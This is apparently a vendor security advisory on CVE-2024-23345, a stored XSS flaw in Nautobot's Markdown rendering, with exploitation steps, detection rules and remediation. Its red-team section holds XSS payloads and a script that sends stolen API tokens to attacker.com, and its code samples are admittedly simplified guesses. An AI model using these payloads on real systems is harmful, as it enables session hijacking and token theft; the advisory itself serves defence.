CVE-2024-23345

Executive Summary

CVE-2024-23345 is a stored cross-site scripting (XSS) vulnerability affecting Nautobot, a Network Source of Truth and Network Automation Platform. The flaw resides in the Markdown rendering engine, where user-editable fields fail to properly sanitize input. An authenticated attacker with low privileges can inject malicious JavaScript into fields that support Markdown, such as device descriptions, notes, or custom fields. When other users view the affected content, the injected script executes in their browser, potentially leading to session hijacking, data exfiltration, or further compromise within the Nautobot environment. The vulnerability is fixed in versions 1.6.10 and 2.1.2. No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

Nautobot is a Python-based application distributed via PyPI. The vulnerability is not a supply chain attack but a code-level flaw in the application itself. However, organizations using Nautobot should verify the integrity of their installation and ensure they are sourcing packages from the official PyPI repository (nautobot). The patch is delivered through standard version updates, and no malicious packages have been associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The vulnerability is rated High due to the low attack complexity and the potential for cross-site scripting to impact other users. The requirement for user interaction (viewing the malicious content) and low privileges needed for exploitation slightly reduce the severity.

Deep Dive & Mechanics

The vulnerability exists in Nautobot's Markdown rendering pipeline. Nautobot uses the mistune library (or a similar Markdown parser) to convert user-supplied Markdown into HTML. The flaw is that certain Markdown constructs, such as inline HTML or raw URLs, are not properly sanitized before rendering. An attacker can inject arbitrary HTML or JavaScript by embedding it within Markdown syntax, for example:

[Click me](javascript:alert('XSS'))

Or by using raw HTML within Markdown:

<img src=x onerror=alert('XSS')>

When the Markdown is rendered, the malicious code is executed in the context of the victim's browser. The vulnerability is stored because the malicious input is saved in the database and rendered every time the content is viewed.

The root cause is insufficient input validation and output encoding. The application should strip or encode dangerous HTML tags and JavaScript protocols (e.g., javascript:, data:) before rendering Markdown. The patch in versions 1.6.10 and 2.1.2 introduces a sanitization step that removes or neutralizes these dangerous elements.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example):

from mistune import markdown

def render_markdown(content):
    return markdown(content)

This code directly renders user input without sanitization.

Patched Code (simplified example):

from mistune import markdown
import bleach

def render_markdown(content):
    sanitized = bleach.clean(content, tags=[], strip=True)
    return markdown(sanitized)

The patched version uses the bleach library to strip all HTML tags before Markdown rendering, preventing XSS. Alternatively, the patch may use a custom sanitizer that allows safe Markdown constructs while blocking dangerous ones.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Nautobot instance with a low-privileged account (e.g., a user with permission to edit device descriptions or notes).
• The target user must view the malicious content.

Exploitation Steps:

1. Log in to Nautobot with the low-privileged account.
2. Navigate to a user-editable field that supports Markdown (e.g., a device description).
3. Inject the following payload into the field:

[Click me](javascript:alert('XSS'))

Or use an event handler:

<img src=x onerror=alert('XSS')>

4. Save the changes.
5. When another user views the device details, the JavaScript executes.

Advanced Payload (session hijacking):

<script>
fetch('/api/users/tokens/', {credentials: 'include'})
.then(r => r.json())
.then(data => fetch('https://attacker.com/steal', {method: 'POST', body: JSON.stringify(data)}));
</script>

Blue Team

Detection:

• Monitor for unusual Markdown content in user-editable fields.
• Look for patterns like javascript:, onerror=, onload=, or <script> tags in logs.
• Use web application firewalls (WAF) to block common XSS payloads.

Prevention:

• Apply the patch immediately (upgrade to 1.6.10 or 2.1.2).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enforce strict input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from Nautobot users' browsers.
• Logs: Entries containing javascript:, onerror, onload, or <script> in Markdown fields.
• File System: No specific file-based IOCs.
• Memory: No specific memory-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_23345_XSS_Markdown {
    meta:
        description = "Detects potential XSS payloads in Nautobot Markdown fields"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-23345"
    strings:
        $xss1 = /javascript\s*:/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /<script\b/i
        $xss5 = /<img\b[^>]*onerror/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-23345 XSS in Nautobot Markdown Fields
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in Nautobot Markdown fields
author: Valters IT
date: 2024/01/01
logsource:
    category: application
    product: nautobot
detection:
    selection:
        - field: "description"
          value|contains:
              - "javascript:"
              - "onerror="
              - "onload="
              - "<script"
              - "<img"
    condition: selection
falsepositives:
    - Legitimate use of Markdown links (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-23345 XSS in Nautobot Markdown Fields"; flow:to_server,established; content:"javascript:"; nocase; http_client_body; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-23345 XSS in Nautobot Markdown Fields"; flow:to_server,established; content:"onerror="; nocase; http_client_body; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-23345 XSS in Nautobot Markdown Fields"; flow:to_server,established; content:"<script"; nocase; http_client_body; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Nautobot to version 1.6.10 or 2.1.2 (or later).
2. If immediate upgrade is not possible, disable Markdown rendering for user-editable fields.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads.

Long-term Measures:

• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular security audits of user input handling.
• Train users to recognize and report suspicious content.

Workaround:

• Use a reverse proxy to sanitize Markdown content before it reaches the browser.

Valters IT
Securing Digital Infrastructure